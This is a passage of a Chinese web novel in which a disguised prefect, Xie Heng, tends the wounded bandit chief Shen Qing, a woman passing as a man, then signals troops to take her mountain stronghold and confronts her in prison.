谢珩试图跟她辩解:“先前不是说过吗?以你的势力,就算 朝廷不派谢珩来,也会有其他人来。” 沈青冷哼一声:“哼,其他人我不管,但是谢珩,以后不管我和朝廷之间怎么样,我就要宰了他!” 虽然她现在身子还虚着,一双微红的眸子里,杀意倒是一点都不减。 谢珩不知他突如其来的杀意从何而来,这一字一句,这真如利刃剜心。这些时日,他是在认真想过要如何尽量稳妥平和解决莽山匪患,相识一场,他日江湖再见之期,好歹还能相逢一笑。 仇人见面,分外眼红,是他最不想见到的局面。 屋子里静默得让人心惊。 “好久没听你弹琴了,来首曲子解解闷吧。”最后还是沈青打破了屋中沉闷,心情再不好,也总要给自己找些乐子。 “好。” 谢珩应了一声就出门去取琴,直到走进冰天雪地中被冷风一吹,忽然清醒了几分,怎么最近好像对他言听计从太习惯了些? 他都恨不得对他扒皮抽筋,他还去取什么琴? 不到半盏茶的时间,谢珩取了乌尾折返回来。 沈青望着熟悉的乌尾,好像许久没有碰过琴了,不过她这会儿确实也没有弹琴的兴致:“那选个曲子弹了给我听吧。” 这会儿她又觉得,谢十三不仅可以留下来养眼,还能时不时弹琴悦耳,不错,该留。 谢珩将乌尾摆好,敛神坐下,指尖在触到琴弦的瞬间,忽然凝滞下来。 这恐怕是为数不多的和睦相处时光了。 他停顿的时间有些太久,沈青莫名回过头来张望,他才在弦上弹出第一个音符,然后是连绵不绝,琴音绕梁。 这是一首沈青从未听他弹过的曲子,也是她从未感受过的震撼,她说不上用什么词来形容,忡怔间,已然神游天外。 琴音如流水般倾泻出屋外,笼罩在山寨之间,昆山玉碎,芙蓉泣露,寨中所有的喧闹都安静下来,只有琴音伴雪,飘飘渺渺。 在无人看见的房间里,只有岳瑛,听到琴音后,在窗前愣了许久,手中的茶盏何时脱手摔了个粉碎,她都毫无察觉。 直到琴音停了很久,沈青才渐渐回过神来,眉眼间再不见一丝戾气,一片清明柔和:“从没听过这支曲子,真好听呐。” 谢珩莞尔:“平时无事,自己编来弹着打发时光的。” 这时候沈青心情终于明朗了一些,有一搭没一搭跟谢珩说着话:“问你个问题啊,要是有一天,谢珩抓了我,要把我杀了,看在我们这些日子相处的份上,你会不会替我求个情?” 谢珩别过头,错开她灼灼探过来的好奇目光:“他不会杀你的。” 忽而觉得有些不对,又忙补充一句:“你还没到罪无可恕的地步,他自有判断。” “哼!”沈青不屑,窝在榻上哼唧。 谢珩实在不明白他恨意为何突然如此之深,但还是心平气和继续陪他聊天解闷,直到他声音渐渐低下去,最后歪着脑袋沉沉睡了过去。 他将他在枕上放平,掖好被窝,又细细看了一会他的睡颜,才悄然无声推门出去。 门外又覆了一层新雪,小金顶上的日子,过一天就少一天了,说起来,他还没见过小金顶上郁郁葱葱的模样。 大概以后也见不到了。 离了沈青的房间,他面色上才展露出低落的神色,刚走到自己木屋前,一抹倩影拦住去路。 看清来人,谢珩原本微沉的一张脸,变得尤为冷峻起来。 沈青就是因为在见过岳瑛后,变得格外低落起来,他那些莫名的杀意,也是在见过她之后。 不等岳瑛开口,他先发制人:“你到底跟他说了什么?” 檐下有灯,照应出女子面容的苍白柔弱,对于谢珩的质问,她略微诧异了一下,欲言又止之后,眼神终于坚定起来,并不露怯地和眼前人对视起来。 她反过来质问:“你要把沈青怎么样?” 谢珩一时未解其意,又听到她冷声喊出自己的名字:“谢珩公子。” 他俊眉微挑,指尖已经触上袖中机巧。 “《空山》妙音,普天之下,只有一人能奏出,我算三生有幸,听公子奏过一回。” 谢珩目中闪过一丝了然,他今日所奏,便是《空山》。 被识破身份,他并不甚在意:“那又如何?你觉得你有机会去告密吗?” 岳瑛也不退缩:“那公子是准备要灭口吗?不怕沈青替我报仇?” 她的话刺得谢珩真起了杀心:“他不会知道,你是我杀的。” “那你准备在她身边当一辈子的谢十三吗?只要你有一天变回了谢珩,她总有机会知道的,我的死,随时会将你推进深渊,再无回旋。” 她的话准确无误捏住了谢珩的七寸,他脑海里忽然闪过沈青与孟渊近身肉搏刀刀见血的画面,为了岳瑛,那一刀一刀,来日的确可能扎到他的身上。 只是有须臾一闪而过的惶然,他迅速冷静下来,目光沉沉盯着眼前人。 “岳闻渊,洛京人士,官至户部侍郎,于成嘉十三年,被御史参奏贪污白银两千万,经核查属实,抄没家产,全家流放漳州,途径渝州,死于流匪之手。” 听到他一字一字说出自己的家世,岳瑛咬紧了发颤的牙关:“原来你早就调查清楚了,但我父亲没有贪污!” 谢珩眉眼平静:“岳家被查抄的时候,我还未深涉朝政,不知内情。这次你若能配合朝廷剿匪,我可以承诺,若你父亲确有冤情,回京后,我必定为他翻案。” “当真?”岳瑛不可置信望着他。 “君子一诺。” 岳瑛静静盯着眼前人看了一会,忽然冷笑起来:“所以你是想用我父亲的冤情,来换取我对沈青的背叛?” “朝廷和莽山大战在即,只有我,能将莽山上下安顿周全。” 谢珩语气清疏不迫,让人无以反驳,他顿了一下,补充道:“我不会伤他半点性命。” 得了沈青性命无虞的承诺,岳瑛陷入沉思。 眼下的局面,她也能看个七七八八,一旦朝廷和莽山动起兵戈,无论胜败,莽山必定要付出惨重的伤亡代价。 若胜,那接下来将要迎来朝廷一次又一次的讨伐。 若败,莽山将彻底倾灭。 迎战不是一件乐观的事,而招安,沈青对朝廷又全无信任。 她知道沈青走一步看一步的性子,说是随性,也是被动,两难局面中,她始终在举棋不定。 谢珩说只有他能将莽山上下安顿周全,这话绝非虚言,若此时还指望有人能破局,那必然只有他了。 一想到世家第一公子,堂堂渝州刺史,被掳上山来,再被沈青磋磨得乖觉顺从模样,公子此时清冷如霜的眉眼,在岳瑛眼中,都变得无比荒诞起来。 想到两人你来我往种种交锋,她在心底喟叹一声,真是造化! 岳瑛目光一转,娟秀面容上突然闪过一丝和沈青格外相似的狡黠:“今晚发生的事情,你我都当不存在,自始至终,我什么都不知道。但是你要答应我一件事情。” “何事?” “明天晚上是沈青换药的日子,你去给她换一次药吧。” 谢珩顿愕:“就这个?” “嗯,就这件事。” 谢珩没有察觉出她这话里的意味深长,只是等人走了后,他依然立在原地久久未离开,昏暗檐灯下,一双清矜眉眼晦暗不明。 在此之前,他从不怀疑他们夫妻情深,可是现在,他忽然又有些不明白岳瑛对沈青的态度了。 第二日,是沈青换药的日子。 其实她身上大大小小的那些外伤都好得差不多了,唯独背上那道伤口格外地深,每隔两日,必须得换一次药才行。 换药一般是在夜里,这样她可以先沐发擦身,等上完了药,就可以直接呼呼大睡,一觉睡到大天亮。 这会儿沈青沐完发,裹着被窝趴在榻上,铺散着一头刚刚绞干的长发在肩后,任岳瑛拿着木梳一下一下给她 梳理通顺。 她总觉得岳瑛今晚有种说不出来的心不在焉。 “时候也不早了,你帮我换了药就回房去歇息吧。”沈青没太在意,只以为她大概是累了。 “行,我先给你换药。” 岳瑛应下来,揭开被子,从后面褪下沈青的内衫,露出一张均匀纤薄的背,背上一道血肉还未长全的伤疤,沈青自己是怎么也够不到的。 “我突然想起膏药上一次就用完了,你先别动,我去找郎中取了药再过来。”她突然重新将被子覆回去,跟沈青交待一声。 “好吧,那你快去快回。”沈青趴在榻上应了一声,没做多想。 离开的时候,岳瑛特地将她一头乌亮的长发全部拨到一边肩头,恰到好处地露出秀白的脖颈,乌发缱绻掩映下,她的五官玲珑秀挺,美到令人侧目。 她就不信,谢珩还能眼瞎到这都看不出来沈青是女儿身的程度? 做完这一切,她才悄无声息地掩门而去。 沈青趴在榻上左等右等,大概是等人的时间总是会显得格外漫长,她觉得岳瑛这取药未免也去得太久了些? 都等到了脑海里各种乱七八糟的念头出来,她忍不住想要喊人的时候,“吱呀”一声终于听到了木门被推开的声音。 她松了口气,也没回头:“你吓死我了,我生怕你被狼叼走了。” 身后却是一道清醇声音:“岳瑛身子突然有些不适,让我先过来给你换药。” “啊?!” 她撑起身子回头看,未束的乌发随着她的动作半垂下来,半掩住那张微微讶异的面容。 谢珩不自觉垂下了眸子,手中拿了药走到榻边:“把伤口露出来。” “噢,那行吧。” 反正都是上药,换谁上不都是上吗?沈青背对着谢珩坐起来,盖在身上的棉被顺着肩头滑落下来,她顺手挽起长发,半褪下内衫,大咧咧露出小半张背来。 就像平时岳瑛给她上药一般。 她等了好一会儿,才感觉到身后的人像是下了某种巨大的决心一般,一下一下将膏药往她伤口上涂,动作一点都不轻柔,甚至还有种莫名格外坚定。 这手法可比岳瑛差得不是零星半点。 “嘶——轻点轻点,你当这糊墙呢?” 她痛得直哆嗦,骂咧了一句,背上的动作顿了一下,倒是轻柔耐心了不少。 伤口被膏药的清凉沁润,舒缓了连日来的痛痒难耐,同时她也感受得到,触碰在她背上的指尖,比岳瑛也要凉一些。 而且岳瑛上药虽然轻柔,但不会弄得她发痒,可是现在,游走在她伤口四周的微凉,让人丝丝痒痒的。 她本来还想骂一句,你是在上药呢还是在拂琴? 可是这丝丝痒痒的触感,好像是从她的伤口里钻进了身子一般,不紧不慢蔓延到了四肢百骸。 她如同被人泡进了酒缸,被泡得酥软如泥的身体,怎么也爬不出来。 有时候很想让那指尖多在自己肌肤上流连一会,有时候又觉得想要打断一切赶紧逃离。 她张了张嘴最终什么声音也没发出来,只是一双手将身下的绣枕越攥越紧,终于一只绣枕都要被她攥得变形了,也抑制不住身体里有一只怪物在横冲直撞,马上就要冲出来了。 余光里,她看到案台上,烛光里的火苗,微微一簇直往上跃腾,晃得她眼花,她干脆就闭上了眼。 闭上眼,她什么也看不见,才更真真切切地感受到,身后这人如此沉默,又如此无法忽视地存在。 “咚咚咚——” 她还没来得及压制住狂跳的心脏,背上忽然有一股温厚的力量,紧紧贴了上来。 他的指尖是微凉的,掌心确是温热的。 方才还在酒缸里被泡得酥软的身体,一下就被扔进了热锅,无数个热腾腾的小水泡争先恐后往她每一寸肌肤里钻。 尤其是,贴在她身上的温热渐渐变得炽热起来……太太太太太要命了! 她倏尔睁开双目,迷茫和惊惶几乎要从清澈的眸子里溢满出来,手上几乎用了她平生最大的劲狠狠捏了一把枕头,故作让自己语气听起来轻松:“马上就是除夕了,每次除夕的时候,咱们小金顶可热闹了。你肯定没见过,莽山数十座山头同时绽放的烟花,兄弟们再一起喝酒吃肉,你肯定这辈子都难忘!” 本来是想闲扯几句赶紧打破这沉默的氛围,奈何一开口,她沙沙哑哑的声音,让原本的沉默,更加诡异。 不过,一说到除夕,她立马想到了更重要的事情,忙清了清嗓子:“唉呀,我没算错的话,除夕不就是大后天吗?谢珩可是接了圣旨在除夕前要把我清剿干净,他居然还没动手?人呢?” “不用你管!” 身后的谢十三突然凶巴巴出声,她还没来得及回头看这人哪根筋不对劲,背上被人用纱布胡乱一粘,一张锦被用力罩了下来,然后她身子就被按回榻上趴着。 可真是用了些蛮力啊! 她气呼呼掀开被子重新爬起来,房间里哪还有什么谢十三的身影? “哼,上个药都上不好,改天真该让他跟岳瑛去学学。” 嘟囔着骂完两句,她重新裹着被子睡下,这才发觉自己鬓边额角,不知什么时候竟然沁出一层薄汗。 果然是身子开始大好,裹着被子都闷出汗来了。 案台上的烛光闪闪烁烁实在晃眼,她又起身呼地一下将烛火吹灭,才重新翻个身卷了被窝睡觉。 她这边卷了被窝,谢珩正好回自己木屋,重重关上身后的房门。 第34章 第34章你是谢瑜,那谢十三又是…… 谢珩背脊笔直,紧贴着身后的木门。 房中无灯,他在夜雪中一路奔回裹挟了一身清冷肃寒,被无声地融进黑暗之中。 他缓缓将手掌在自己眼前摊开,借着窗外隐隐雪色,可以看得出这是一双修长如玉的手。 他曾经用这双手抚琴弄萧,翻书下棋,可是刚才,他竟然用这手抚摸了一个男人的肌肤? 细软轻滑的触觉还萦绕在指尖,肌肤上的温度好像烙在他的掌心,明明在风雪里走了一遭,依旧挥之不去。 肌肤相触那一瞬间,他是真的想用力摩挲抚*摸,似乎这样就能永远将人置于股掌之中。 他清清楚楚知道自己在做什么,但他还是做了。 若不是沈青及时出声,他几乎就要完全失控。 黑暗将人的感官无限放大,他清晰感受到自己身体的变化,作为男人,他自然知道这意味着什么,心底不由得生出一阵阵的恶心。 倒不是觉得沈青怎么样,是此时的自己,真令人作呕。 洛京断袖成风,他平生最恨那些断袖招摇过市,败坏风气。 枉他自诩清高正气,原来也不过和那些人没什么区别,不,他还要更加虚伪卑鄙,他心里不知何时住进了一只不可见光的鬼魅,再不受他的控制,一层一层要撕开他的心房冲出来。 腹中一阵翻江倒海,他终于撑不住伏在窗边干呕了几声,凉风才渐渐将身体里燥热吹去。 懒得点灯,他虚浮着脚步摸到桌边,给自己倒了一杯冷茶喝下,目中才渐渐恢复清明。 这时候,才发现桌上正正方方放着一枚刚采摘下来的菩提叶。 从三天前开始,他的房中每日都会新出现一枚菩提叶,他的手下,不仅仅只是涉足小金顶,而是已经可以在他的房中来去自如。 除夕就在眼前,连续三日不间断的信号,这是对他无声而焦急的催促。 大雪封山,官兵们掩藏在莽山深处,多磋磨一日,就是多消减一分士气。 没有理由再等下去了。 可是沈青……他手中轻捏着那枚菩提叶,清峻的脸上还是隐隐透着几分纠结和不忍,脑海里总是那一身青衣站在自己面前,生龙活虎,嬉笑怒骂。 可是眼前忽然一晃,徒然出现了刚才灯下上药的情景,他随意挽起的长发,有几缕散落碎发,发梢随意搭落在光洁白皙的肩头后颈…… 手中那枚菩提叶瞬间被捏碎。 他走到窗边,清凌目光中是前所未有的冷静锐意。 方才心中那只撕扯折磨他的鬼魅,已经被他再次狠狠扔进不可见光的深渊中。 没再有太多犹豫纠结,谢珩放出手里的信号弹。 伴随着一声锐鸣,信号弹倏尔直入云霄,在沉沉夜空里爆发出绚烂的光,瞬间照亮窗外的苍山白雪。 这大概是最后一次看到小金顶上的雪色了。 不管中间出了怎样的纰漏和失控,一切都该在这一刻,由他来亲自了结。 外头远远近近开始渐渐嘈杂起来,谢珩还兀自立在窗边,不动如山。 窗边竹编的鸟笼里,几只小雏鸟似乎有所预感,在笼中焦躁不安地上下扑腾。 他将目光落在鸟笼中,几只雏鸟早就长齐了羽翼,只要打开笼子,它们便可展翅高飞。 眼底的留恋转瞬即逝,他打开了鸟笼。 几只小雏鸟探头探头走了出来,瞪着绿豆一样的小眼睛歪头冲着谢珩不停地张望。 “走吧,回林中去。” 他轻声开口,那几只小雏鸟听不懂,继续在窗台上扒拉着爪子走来走去,直到外面喧闹更近,嗅到了危险的气息,它们才重新抬起脑袋又与谢珩对视了几眼。 最后张开翅膀,高高低低彻底消失在夜色中。 谢珩目送它们离开,也算是相伴一场,离别却只是瞬间的事情。 从此天高地阔,各有归路。 * 沈青躺在床上卷着被子翻来覆去,如果她是一张饼,那只怕是被烙熟个十遍八遍了。 “诶!” 她真的很是苦恼,现在一闭上眼,浑身上下哪哪都痒。 如果不是谢十三跑得那么快,她真该把他抓回来再重新给她上一遍药,不对,以后绝对不能让他给自己上药了。 现在她懂了,这大概就是传说中的男女有别?原来被男人碰,是这么痒的吗? 不行不行,脑子里真的不能再继续想这档子事了,不然今晚可别想睡了! 她又翻了个身,小心脏咕咚咕咚在被窝里跟打鼓一样,但还是要努力睡觉! 正紧眯着眼,极力将乱七八糟的思绪赶出脑海,只听到窗外轰然一声,她忙坐起身来,窗外的绚烂正落下余光,将她晶黑目珠映得清亮,又堙灭。 谢珩终于动手了! 她迅速反应过来,跃下床榻,推门而出的时候便已经穿好衣鞋,连发带都束紧了。 这时候让她打架,她也只能勉勉强强打一场,但是为了等这一天,莽山上下一直严阵以待,想要攻上小金顶,那更是关关难过,谢珩既然来送死,那就成全他好了。 可是一出门,她就感受到小金顶上四面火光大亮,杀声弥漫,偶尔还夹杂着兵刃交接的声音。 她快步踏入雪中,迎面碰上萧瑞带着几个兄弟慌张赶过来。 “大哥,官兵们攻上小金顶了!”他的语气里是少有的惊惶。 沈青顿住脚步:“这么快?怎么我们小金顶这么好攻的吗?” 萧瑞声音里都带上了一丝毛骨悚然:“根本没有人攻山,官兵……官兵就已经在小金顶上了,马上要往寨子里来了!” 没人攻山? 沈青悚然抬眼,四面火光烈烈,带着浩大声势越逼越近,甚至已经可以看到官兵们身着灰黑盔甲的憧憧身影。 这些人是从天上掉下来的吗? “大哥,我带兄弟们去跟他们拼了!”萧瑞手里提着软剑,就要往外面冲。 沈青这时候已经冷静下来:“先别轻举妄动,现在这些官兵来路不明,人数不明,我们别先自己分散了力量,把所有兄弟都集中到寨子里来。” 敌暗我明,她不能贸然让兄弟们做无用的牺牲。 “好,我这就去!” “诶,等等——” 萧瑞应声而去,再次被沈青喊住:“没人攻山,那下山的路呢?” 萧瑞没反应过来:“没……没动啊。” “所以官兵在小金顶上包围了我们,但是下山的路没人动,专门留了给我们逃生的吗?” 沈青的思绪在脑海中飞速运转,也许谢珩只是用极少的人马来虚张声势出其不意,也许他做了完全的准备要将莽山势力一网打尽。 莽山势力基本都分散在各个山头,易守难攻的小金顶不过几百人众,不管谢珩采取哪种手段,对于小金顶来说,几百人要守一座已经被攻陷得山头不容易,但是灵活逃遁倒是不难。 于是她当机立断:“不要去跟官兵硬碰硬,召集所有兄弟,从主路下山,撤出小金顶!” “啊,大哥,我们这是要当逃兵吗?” 萧瑞不由得错愕,这次官兵虽然诡异且来势汹汹,但他大哥也是不怕事的人啊,怎么会还没正面对上,就要弃山而逃的? 这还是他大哥吗?莫不是受个伤被夺舍了? “诶呀,”沈青很是嫌弃:“不要说这么难听,留得青山在不愁没柴烧。” 时不待人,话音未落她已经身先士卒冲出去带着萧瑞他们组织兄弟们火速撤退。 不甘心,自然是有的。 毕竟她严阵以待了这么久,结果猝不及防来了个四面楚歌,还要仓惶逃撤,换谁谁不生气啊! 要是以前,她肯定先上去乱杀一顿再说,但是刚才节骨眼上,她忽然想到谢十三的一句话,没有沈青的小金顶,他攻来有什么用呢? 这可真是让人豁然开朗! 莽山之大,她下了小金顶,再带着兄弟们攻回小金顶,不是瓮中捉鳖的事吗? 不错,可见这些时日经历些事,她的统领才能还是增长不少。 兄弟们很快被集结起来,从那条小金顶唯一通往山下的路撤退,经过了最开始的仓惶慌乱,这会儿还算有条不紊,沈青立在路口,守着兄弟们一一从眼前而过。 忽然,她意识到少了些什么:“谢十三呢?他没过来吗?” 说着她跃上一方高石向队伍中张望,人群里没有看见那道鹤立鸡群的身影。 完了,忙乱之中,没有注意到他没跟上。 她心底一惊,回身就往寨子方向走,立刻被身边的岳瑛一把拉住:“阿青,谢十三本就是官府的人,他不会有任何危险的,你确定要回去吗?” 沈青回身望她,那张娟秀的面容上似乎没有太多慌乱,更多的是一种探究。她没有注意到其中的怪异,心中想的是连岳瑛这样弱质纤纤的女子都跟上了,谢十三怎么会没跟得上呢? “让兄弟们先撤,我很快就回。” 她松开岳瑛的手,随手在一旁折了一根竹竿,大步往寨子方向回去。 官兵们还没完全靠进寨子,还来得及。 他有没有危险是一回事,若他是被什么羁绊了,那可不行。 覆船山断崖下冰冷的河水,是他义无反顾跳下去带回了她,这次她说什么也不能一声不吭直接撂下他走人。 一步一步往回走的路,一笔一笔加重了她在赌桌前给自己下的注,她现在是一个冲动的赌徒,赌谢十三会愿意跟自己走。 沈青重新潜回山寨的时候,官兵的队伍也挺进了寨中,来的人竟然还真不少,她在心里冷笑一声,一座空寨,诸位就慢慢搜吧。 就着夜色,她顺利避开官兵们的搜查,悄无声息翻窗进了谢十三的木屋。 “谢十三?” 房中无灯,也无人回应,好一会儿她的视线才适应了屋中黑暗,借着窗外一点雪色,目光扫过房中的床榻、案几、还有案几上半杯冷茶。 一切如常,唯独常常坐在案几边饮茶的白衣公子不在。 她心底蓦然沉了一下,不再久留,准备再翻身出去的时候,一只手碰到窗台上的竹编的鸟笼,鸟笼掉在地上,骨碌碌滚了两圈。 沈青还是俯身将鸟笼拾起来,也就是她拾起鸟笼的瞬间,窗外火光大亮,瞬间将屋中照得通明,这下她看得格外清楚,鸟笼里面的确是空空如也。 她定 定在窗边站了须臾,终于确定这屋子里里外外现在已经全部被包围,外面的人马有种格外庄重的沉默,在无声而强硬地邀请她走出这道门。 那就去会一会来者何人吧,她直觉自己今晚大概终于能一睹谢珩风姿了。 明枪暗箭你来我往过了这么多招,终于能见到这位对手的庐山真面目,她还真是有些迫不及待了。 没有什么犹豫,她捏紧手中竹竿,大咧咧跨步走出房门。 里外三层都是整装而立的士兵,这小小木屋前倒是第一次有这般盛况。 满眼银灰兵甲中,一位五官周正气度不凡的年轻公子缓缓走上前来,微微趔趄像是受了伤,尽量挺直背脊。 沈青站在台阶上,睨过去打量了一眼:“这是哪位人物啊?报个名来听听。” 年轻公子也仔细打量着眼前人,最后客客气气拱手一礼:“沈寨主,久仰了。” 他顿了一下,才继续道:“在下谢瑜。” 听清他自报家门说出的名字,沈青愣了一瞬,忽然忍不住仰头笑了两声:“你是谢瑜,那谢十三又是谁?” 这话可能旁人听不懂,但谢瑜自然是听得懂。 顺着他的目光,沈青看到于众人之外,白衣乌发,玉山映人,仙姿俊逸。 他憧憧望过来的清眸,亦如初见,星河漫天。 第35章 第35章你现在是我的阶下囚 渝州的大牢,和天下任何一处的大牢没什么区别,阴暗,潮湿,处处森然。 通往大牢中湿漉漉的台阶上,映出一道颀长身影,纤尘不染的白靴,踏上混了血迹的泥泞阶石。 “公子,牢里一切都安排妥当,那悍匪绝对再掀不起什么风浪,您何须亲自来这腌臜的地方?” 鸣山在一旁低声劝阻,谢珩脚步微微顿住。 无人知昨夜的他,完成了一场豪赌。 他放走了小金顶上所有人,当时他想,如果沈青就此逃脱了,他便退出渝州,回京领罪。 但他还是希望他能折回来,最后,他真的没有抛下他。 他脑海里浮现出昨夜的场景。 那一身劲瘦青衣站在木屋前的阶上,手中还是捏着一根刚折下来还带着雪寒的竹竿,面对围剿的官兵,眼角眉梢,始终带着一丝不屑的桀骜。 直到他看见了他。 也不过是粲然一笑,便抬手扔了手中竹竿,明明是束手就擒,这动作在他手中却做出了几分潇洒不羁。 原本以为将沈青捉拿归案,终于不必日日与他虚与委蛇,应该如释重负才是。 可这脚下的台阶,每一步都重如千钧,难以跨越。 “公子?”鸣山不明所以,小声提醒了句。 “走吧,下去看看。” 谢珩回过神来,不再犹疑,顺着台阶继续往里,走向前面的幽微之处。不过他人还没有走近,远远地已经可以听到熟悉的声音在这幽暗之中阵阵回荡。 “哎呀,说起来也不是什么多丢人的事,毕竟英雄难过美人关嘛,都说温柔乡是英雄冢,我这种英雄人物肯定不能例外,牡丹花下死,做鬼也风流,不过跟你们说也不懂,你们哪睡过这样的极品美人,肯定不懂这其中滋味了,啧啧。” “这谢珩啊,别看他平时一副多正人君子的模样,还什么洛京第一公子,那都是装给你们外人看看的。你们是不知道,实际上,这人脱了衣裳上了榻,简直跟禽兽没什么区别,那花样,只有你想不到,没有他做不出的。” “所以这些个名门世家公子哥,在外头名声越响亮的,其实越是道貌岸然!衣冠禽兽!” 鸣山听着这满口污言秽语,气得脸色通红要立刻冲上去,却被自己公子抬手拦住,他这才瞥见公子神色清冷从容,好像并没有半点怒意,他只好按捺住心中怒火,继续跟在后面慢慢走。 过了转角,谢珩已经可以看见牢中情景了。 沈青是渝州几大山头的匪首,身份之重,名声之响,自然是被单独关在最里间的重犯号牢房里,门口狱卒守卫也较其他牢房更森严。 那一袭青衣,在昏暗的牢房里也显得那样生机盎然。 虽然他被关在最里间,人却大咧咧盘腿挤在铁栅门边坐着,其他牢房的犯人也纷纷都靠着自己牢房铁栅门席地而坐,甚至外面的狱卒都不由自主将脑袋侧向沈青这一面,听他侃侃而谈。 自然也有人不信在起哄:“莫不是你死到临头,在这里吹牛吧?谢家是出了名的家风严谨,怎么会有这种荒唐事?除非……你仔细跟我们说说,他在榻上都有些个怎么样的花样?” “就是就是,让我们也都学学不是!” “兄弟,你还是见识太少了!谢家是什么人家?百年世家积累,光是那书库里的春宫图,都是代代相传的,里头技巧简直是让人眼花缭乱闻所未闻,他们从小看这个长大,榻上花样当然多了!”说到关键,沈青不紧不慢道:“至于具体有些个什么花样……你们给钱了吗?就想听。” 众人听得起劲,狭窄的牢房里闹成了一锅粥,正在沈青都准备伸手让狱卒大哥帮她收钱的时候,闹哄哄的场面忽然安静下来。 各个牢房中的犯人们纷纷靠过背去大气都不敢出一声,狱卒们也赶紧各归其位,立得笔直目不斜视。 只有沈青纹丝未动,撑着下巴望了一眼从暗处渐渐走出的玉面公子,白衣黑氅,清冷得让人无法逼近。 不过,她的目光只在谢珩身上落了一瞬,便掠过去看他身后的鸣山。 并热情地打上了招呼:“哟,这不是清乐酒家的店小二吗?什么时候换了活计,在刺史府当起差来?” 鸣山十分不待见她:“苍天有眼,不枉我家公子殚精竭虑,终于将你这悍匪绳之以法!” 沈青乐了:“你家公子那可不是殚精竭虑,不过是在榻上会伺候人罢了。害我一时迷了心窍,中了这美人计。” “你住嘴!你……” “鸣山。” 谢珩温声打断他。 相比于鸣山的怒目圆瞪,谢珩脸上自始至终都很淡然,只是目光看向沈青的时候,压抑着几分隐忍:“把门打开,我单独跟他说几句。” “别别别!”在狱卒上来开门之前,沈青一把抱住铁栅门上的门锁:“谁知道你进来后会对我做出什么禽兽不如的事情,毕竟我是很招人喜欢的!有什么话在外面说,光明正大地说!” 狱卒小心翼翼觑了一眼谢珩的脸色,见他似是默许,忙迫不及待缩了回去,假装无事发生。 谢珩就隔着一道铁栅门,与里面的人说话。 “那日我的确是借你势力去除掉孟渊和徐唐,但布署中出了意外,手下的人擅自提前行动,才让萧瑞和赖三遭到重击,也将你陷于险境几乎丧命。虽然我本意绝没想伤害莽山上任何一人,终究是我驭下不力,抱歉。” 他的声音不疾不徐,只有他自己知道,这些话他是多么迫切想要说出来。 沈青正一把抱着铁栅门上的锁,一张脸也紧紧贴在门上并没有看外面站着的人,谢珩的声音在耳边娓娓道来,他每多说一句,她毫无所谓的脸上就多一分静默。 谢珩把她活捉进大牢里,第一件说的事情竟然是这个? 这么说来,当时种种无法理解的怪异都能说通了,她的受伤,原来是在他计划之外。 谢十三在榻边衣不解带照料她的那些画面在脑海中一闪而过,她仰头问:“那你不如放了我?” 谢珩垂眸对上那双清亮的眸子,一派认真恳切模样,是她今日以来第一次正眼看他。 “绝无可能。”他抿了抿唇,断然否决。 沈青冷嗤一声:“那你刚才装模作样 假仁假义些什么?” “沈青,只要你愿意带着你的部下接受招安,我向你承诺,必定为莽山兄弟们争取一个好去处,从此不必再过朝不保夕落草为寇的生活。但凡你所顾虑,我赴汤蹈火,也会替你们排除万难。” 他说得倒是诚恳,沈青可不乐意:“你没在小金顶生活过吗?我们哪里朝不保夕了?要不是你天天恐吓我们说要剿匪,我和兄弟们的日子不知道有多快活呢!” 谢珩提醒她:“你们终究不会被朝廷所容。” 沈青反问他:“那然后呢?跟着官府来对百姓烧杀掳掠吗?这些明明都是你亲眼所见,还想逼着我们为虎作伥?” 谢珩尽可能让自己语气听起来有耐心些:“沈青,我知道你正在气头上,但是……” “等等……”沈青直接打断他:“我可没在气头上,毕竟是我技不如人,没你这般无所不用其极什么狐媚手段都用得上,我被你捉拿,成王败寇,愿赌服输,我有什么好气的!” 两人一言一句,连最开始的平淡疏离都没有了,句句夹枪带硝烟弥漫。 “沈青,是你把我捉上山的。”谢珩认真陈述最初的事实,清冷的语气带上一丝熟悉的无奈。 “你还无辜上了?” 沈青无处遁形,像是被自己的愚蠢狠狠扇了几巴掌。 把奉旨前来剿匪的官兵头目抓到身边当一个宝贝疙瘩宠着,她活了十八岁,简直不能接受这么愚蠢的事情是自己做出来的! “还是你手段太狐媚!我才会色令智昏!”千错万错,反正都是谢珩的错。 一边的鸣山可忍不了,他家公子可是天上月,云中鹤,天下谁人不敬仰三分?怎能让这样的泼皮无赖言语侮辱? “你这悍匪也太没自知之明了!我家公子现在给你机会,你可真是敬酒不吃吃罚酒!” “我管他敬酒罚酒,我不喝酒!” “你!”鸣山没见识过这种无赖,除了干瞪眼外,再巧舌如簧也拿她没办法。 沈青胸口起伏着,尽力让自己平静下来,没什么耐烦挥了挥手:“行了,说完了没,说完赶紧走,别耽误我跟兄弟们唠嗑。” 这一晚上,她这新认了不少兄弟呢。 谢珩知道这会儿再说下去也无益,最后提醒了一遍:“沈青,你没有别的选择。” 沈青不屑地勾起唇角:“是吗?” 谢珩再次陈述一个事实:“你现在是我的阶下囚。” 明明还是清疏平淡的声音,却给人一种势如千钧的压迫,沈青下意识抬眼望去,牢中晦暗不明的灯火下,照得一张玉颜清正肃然。 他眉眼依旧温柔如许,无形中已然是一种上位者绝对强势不容抗拒的姿态。 她从容不迫对上那双冷峻如霜的眉眼,挑眉一笑:“谢珩,你真觉得自己赢了吗?” 白皙俊秀的脸上,还是一副人畜无害如邻家少年郎般灿然笑意,在这阴暗大牢里,谢珩看得心头莫名一瘆。 以为她还寄希望于莽山兄弟,谢珩便坦然相告:“萧瑞那边,我派人跟他传话了,望你多为兄弟们思虑周全。” 沈青惫懒地“噢”了一声:“你在威胁我?那正好,考验他独挑大梁的时候到了,我也看看萧瑞有没有些进步。” “你在等他来劫狱?” “看看他有没有这本事吧,要是他不行的话,那我也没办法了,”沈青沮丧叹了口气,谢珩还以为他要说就此认命之类的话,不料他话锋一转:“那我就只好自己想办法出去了。” 谢珩默然,没再跟他争锋相对,无穷无尽的口舌之争毫无意义。 何况他今日前来,本意也不是来吵架的,只不过是想亲眼看看他在牢中状况,见他一如既往毫无颓色,暗暗放心下来。 于是收敛了周身方才被沈青激起的凌厉,缓声道:“你先在此歇息几日,你背上的伤,我会安排人来及时给你换药。” 说到换药,沈青立马道:“这事你别乱安排,得给我安排个美娇娘才行。” “为何?” “女人手轻脚轻的,摸得人舒服啊,平时都是我夫人给我换药的,还是说……”沈青故意拉长了声音:“我可不想让什么乱七八糟的臭男人碰我,当然,要是刺史大人愿意亲自给我换药,也不是不行。” 